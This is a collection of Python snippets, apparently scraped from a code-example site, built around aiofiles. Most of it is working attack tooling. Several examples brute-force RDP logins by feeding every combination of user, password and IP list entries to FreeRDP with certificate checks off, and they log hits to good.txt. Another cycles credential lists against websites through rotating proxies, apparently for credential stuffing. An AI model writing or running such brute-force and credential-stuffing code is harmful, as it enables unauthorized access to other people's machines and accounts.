示例#1
0
async def start() -> None:
    good = 0
    total = 0
    tasks = []

    async with afile('data/users.txt', errors="ignore",
                     encoding="utf-8") as users:
        async for user in users:
            async with afile('data/passwords.txt',
                             errors="ignore",
                             encoding="utf-8") as passws:
                async for passw in passws:
                    async with afile('data/ip.txt',
                                     errors="ignore",
                                     encoding="utf-8") as ips:
                        async for ip in ips:
                            tasks.append(
                                asyncio.create_task(
                                    connect(ip.strip(), user.strip(),
                                            passw.strip())))

                            if len(tasks) == THREADS:
                                for rez in await asyncio.gather(*tasks):
                                    if rez:
                                        good += 1

                                    total += 1

                                print(f'Good: {good}; Total: {total}',
                                      end='\r')
                                tasks = []

    if len(tasks) != 0:
        await asyncio.gather(*tasks)
示例#2
0
async def start():
    tasks = []

    async with afile('data/users.txt', errors="ignore",
                     encoding="utf-8") as users:
        async for user in users:
            async with afile('data/passwords.txt', errors="ignore",
                             encoding="utf-8") as passws:
                async for passw in passws:
                    async with afile('data/ip.txt', errors="ignore",
                                     encoding="utf-8") as ips:
                        async for ip in ips:
                            task = asyncio.create_task(
                                connect(
                                    ip.replace('\n', ''),
                                    user.replace('\n', ''),
                                    passw.replace('\n', '')
                                )
                            )
                            tasks.append(task)

                            if len(tasks) >= threads:
                                await asyncio.gather(*tasks)
                                tasks = []

    if len(tasks) != 0:
        await asyncio.gather(*tasks)
示例#3
0
async def connect(ip, user, password):
    global good, finished

    try:
        r_agr = f"{fr_name} /v:{ip} /port:{port} /u:'{user}' " + \
                    f"/p:'{password}' /cert-ignore +auth-only " + \
                    '+compression /sec:nla'

        a = await run(r_agr, limit=0, stdout=DEVNULL, stderr=DEVNULL)

        async with ftime(timeout):
            await a.communicate()

        assert a.returncode == 0

        good += 1
        rez = f'{ip}:{port};{user}:{password}\n'

        async with afile(f'good.txt', 'a', encoding='utf-8',
                         errors='ignore') as f:
            await f.write(rez)
    except:
        await a.kill()
    finally:
        finished += 1
        print(f'Good: {good}; Done: {finished}', end="\r")
        return
示例#4
0
async def main():
    tasks = []

    proxies = await proxy_request()
    lenofpr = len(proxies) - 10
    curindx = 0

    async with afile("data/users.txt", encoding="utf-8",
                     errors="ignore") as users:
        async for user in users:
            async with afile("data/passw.txt",
                             encoding="utf-8",
                             errors="ignore") as passws:
                async for passw in passws:
                    async with afile("data/sites.txt",
                                     encoding="utf-8",
                                     errors="ignore") as sites:
                        async for site in sites:
                            task = asyncio.ensure_future(
                                process(site.strip(), user.strip(),
                                        passw.strip(), proxies[curindx]))
                            tasks.append(task)
                            curindx += 1

                            if curindx >= lenofpr:
                                if settings['update']:
                                    proxies = await proxy_request()
                                    lenofpr = len(proxies) - 10

                                curindx = 0

                            if len(tasks) >= settings['threads']:
                                await asyncio.gather(*tasks)
                                tasks = []

    if len(tasks) != 0:
        await asyncio.gather(*tasks)
示例#5
0
async def connect(ip: str, user: str, password: str) -> str:
    r_agr = f"{fr_name} /v:{ip} /port:{PORT} /u:'{user}' " + \
            f"/p:'{password}' /cert-ignore +auth-only " + \
            '+compression /sec:nla'

    a = await run(r_agr, limit=0, stdout=DEVNULL, stderr=DEVNULL)

    try:
        async with ftime(TIMEOUT):
            await a.communicate()

        assert a.returncode == 0

        rez = f'{ip}:{PORT};{user}:{password}\n'

        async with afile(f'good.txt', 'a', encoding='utf-8',
                         errors='ignore') as f:
            await f.write(rez)

        return 'g'
    except Exception:
        await a.kill()
示例#6
0
async def main():
    count = 0
    tasks = []

    async with afile('links', errors='ignore', encoding='utf-8') as links:
        async for link in links:
            task = asyncio.ensure_future(
                purgatory(
                    link.strip()
                )
            )
            tasks.append(task)

            count += 1
            print(f'Passed: {count}', end='\r')

            if len(tasks) >= settings['threads']:
                await asyncio.gather(*tasks)
                tasks = []

    if len(tasks) != 0:
        await asyncio.gather(*tasks)
        tasks = []
示例#7
0
 async def __save__(self, data: str) -> None:
     async with afile(f'rez/good.txt',
                      'a',
                      encoding='utf-8',
                      errors='ignore') as f:
         await f.write(data)
示例#8
0
 async def __read_file__(self, file: str) -> AsyncGenerator:
     async with afile(file, errors="ignore", encoding="utf-8") as lines:
         async for line in lines:
             yield line.strip()
示例#9
0
async def save(where, what):
    async with afile(f'{where}.txt', 'a',
                     encoding="utf-8",
                     errors="ignore") as f:
        await f.write(f'{what}\n')
示例#10
0
async def save(where, what):
    async with afile(f'rez/{where}.txt',
                     'a',
                     encoding='utf-8',
                     errors='ignore') as f:
        await f.write(str(what) + '\n')